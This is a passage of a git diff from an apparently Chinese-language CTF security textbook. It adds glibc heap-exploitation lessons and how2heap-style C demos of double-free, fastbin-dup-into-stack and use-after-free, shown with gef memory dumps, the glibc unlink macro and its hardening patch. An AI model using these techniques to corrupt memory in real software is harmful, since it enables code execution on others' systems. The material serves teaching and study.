2nd malloc(9) 0xcf2030 points to BBBBBBBB
3rd malloc(9) 0xcf2050 points to CCCCCCCC
Freeing the first one 0xcf2010.
Then freeing another one 0xcf2030.
Freeing the first one 0xcf2010 again.
Allocating 4 buffers.
4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
5nd malloc(9) 0xcf2030 points to EEEEEEEE
6rd malloc(9) 0xcf2010 points to FFFFFFFF
7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG
```
这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样漏洞也同样是 double-free只有给 fd 填充的内容不一样。
三个 malloc 之后:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
0x602070: 0x0000000000000000
```
三个 free 之后:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed twice]
0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
```
这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8从而在栈上伪造出一个 free 的 chunk当然也可以是其他的地址
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d
0x602010: 0x00007fffffffdc30 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ p &stack_var
$4 = (unsigned long long *) 0x7fffffffdc38
gef➤ x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk [seems to be freed]
0x7fffffffdc40: 0x0000000000602010 0x0000000000602010 <-- fd pointer
0x7fffffffdc50: 0x0000000000602030
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
```
可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4646464646464646 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4545454545454545 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]
```
再次 malloc即可在 fake chunk 处分配内存:
```
gef➤ x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk
0x7fffffffdc40: 0x4747474747474747 0x0000000000602000
0x7fffffffdc50: 0x0000000000602030
```
#### unsafe_unlink
```c
```
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的。
Ubuntu16.04 使用 libc-2.23,其中 unlink 是通过宏实现的,代码如下:
```c
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
```
其中存在一个溢出的问题,
而在 libc-2.25 中已经修复了这个溢出漏洞,在开头增加了对 size 和 next->prev->size 是否相同的检查,补丁如下:
```diff
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
Author: DJ Delorie <dj@delorie.com>
Date: Fri Mar 17 15:31:38 2017 -0400
Further harden glibc malloc metadata against 1-byte overflows.
Additional check for chunk_size == next->prev->chunk_size in unlink()
2017-03-17 Chris Evans <scarybeasts@gmail.com>
* malloc/malloc.c (unlink): Add consistency check between size and
next->prev->size, to further harden against 1-byte overflows.
diff --git a/malloc/malloc.c b/malloc/malloc.c
index e29105c372..994a23248e 100644
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
+ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
+ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
```
#### house_of_spirit
#### poison_null_byte
#### house_of_lore
#### overlapping_chunks
#### overlapping_chunks_2
#### house_of_force
#### unsorted_bin_attack
#### house_of_einherjar
#### house_of_orange
## 参考资料
- [how2heap](https://github.com/shellphish/how2heap)
- [Heap Exploitation](https://heap-exploitation.dhavalkapil.com/)

View File

@ -1 +0,0 @@
# 3.3.5 堆溢出

View File

@ -8,7 +8,7 @@
- [3.3.2 整数溢出](3.3.2_integer_overflow.md) - [3.3.2 整数溢出](3.3.2_integer_overflow.md)
- [3.3.3 栈溢出](3.3.3_stack_overflow.md) - [3.3.3 栈溢出](3.3.3_stack_overflow.md)
- [3.3.4 返回导向编程ROP](3.3.4_rop.md) - [3.3.4 返回导向编程ROP](3.3.4_rop.md)
- [3.3.5 堆溢出](3.3.5_heap_overflow.md) - [3.3.5 堆利用](3.3.5_heap_exploit.md)
- [3.4 Web](3.4_web.md) - [3.4 Web](3.4_web.md)
- [3.5 Misc](3.5_misc.md) - [3.5 Misc](3.5_misc.md)
- [3.6 Mobile](3.6_mobile.md) - [3.6 Mobile](3.6_mobile.md)

View File

@ -703,7 +703,7 @@ gef➤ x/70gx 0x604010-0x10
0x604080: 0x4141414141414141 0x4141414141414141 0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 [be freed] <-- fastbins 0x604090: 0x0000000000000000 0x0000000000000021 <-- player 1 [be freed] <-- fastbins
0x6040a0: 0x0000000000000000 0x0000000400000003 <-- selected 0x6040a0: 0x0000000000000000 0x0000000400000003 <-- selected
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bins 0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bin
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd | bk 0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd | bk
0x6040d0: 0x4242424242424242 0x4242424242424242 0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242 0x6040e0: 0x4242424242424242 0x4242424242424242
@ -761,7 +761,7 @@ gef➤ x/70gx 0x604010-0x10
0x604060: 0x4141414141414141 0x4141414141414141 0x604060: 0x4141414141414141 0x4141414141414141
0x604070: 0x4141414141414141 0x4141414141414141 0x604070: 0x4141414141414141 0x4141414141414141
0x604080: 0x4141414141414141 0x4141414141414141 0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bins 0x604090: 0x0000000000000000 0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bin
0x6040a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- selected 0x6040a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- selected
0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- player 2 [be freed] 0x6040b0: 0x00000000006040c0 0x0000000000000091 <-- player 2 [be freed]
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
@ -799,7 +799,7 @@ gef➤ heap bins unsorted
``` ```
#### alloc again #### alloc again
添加一个球员player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bins 中取出: 添加一个球员player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bin 中取出:
```python ```python
alloc('D'*16 + p64(atoi_got)) alloc('D'*16 + p64(atoi_got))
``` ```
@ -819,7 +819,7 @@ gef➤ x/70gx 0x604010-0x10
0x604080: 0x4141414141414141 0x4141414141414141 0x604080: 0x4141414141414141 0x4141414141414141
0x604090: 0x0000000000000000 0x0000000000000021 <-- name 3 0x604090: 0x0000000000000000 0x0000000000000021 <-- name 3
0x6040a0: 0x4444444444444444 0x4444444444444444 <-- selected 0x6040a0: 0x4444444444444444 0x4444444444444444 <-- selected
0x6040b0: 0x0000000000603110 0x0000000000000091 <-- unsorted_bins 0x6040b0: 0x0000000000603110 0x0000000000000091 <-- unsorted_bin
0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x6040c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6040d0: 0x4242424242424242 0x4242424242424242 0x6040d0: 0x4242424242424242 0x4242424242424242
0x6040e0: 0x4242424242424242 0x4242424242424242 0x6040e0: 0x4242424242424242 0x4242424242424242

View File

@ -0,0 +1,8 @@
PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
CFLAGS += -std=c99 -g
# CFLAGS += -fsanitize=address
all: $(PROGRAMS)
clean:
rm -f $(PROGRAMS)

View File

@ -0,0 +1,34 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 3 buffers.\n");
char *d = malloc(9);
char *e = malloc(9);
char *f = malloc(9);
strcpy(d, "DDDDDDDD");
fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}

View File

@ -0,0 +1,38 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
unsigned long long stack_var = 0x21;
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 4 buffers.\n");
unsigned long long *d = malloc(9);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
char *e = malloc(9);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
char *f = malloc(9);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
char *g = malloc(9);
strcpy(g, "GGGGGGGG");
fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}

View File

@ -0,0 +1,24 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char* a = malloc(512);
char* b = malloc(256);
char* c;
fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
strcpy(c, "CCCCCCCC");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
}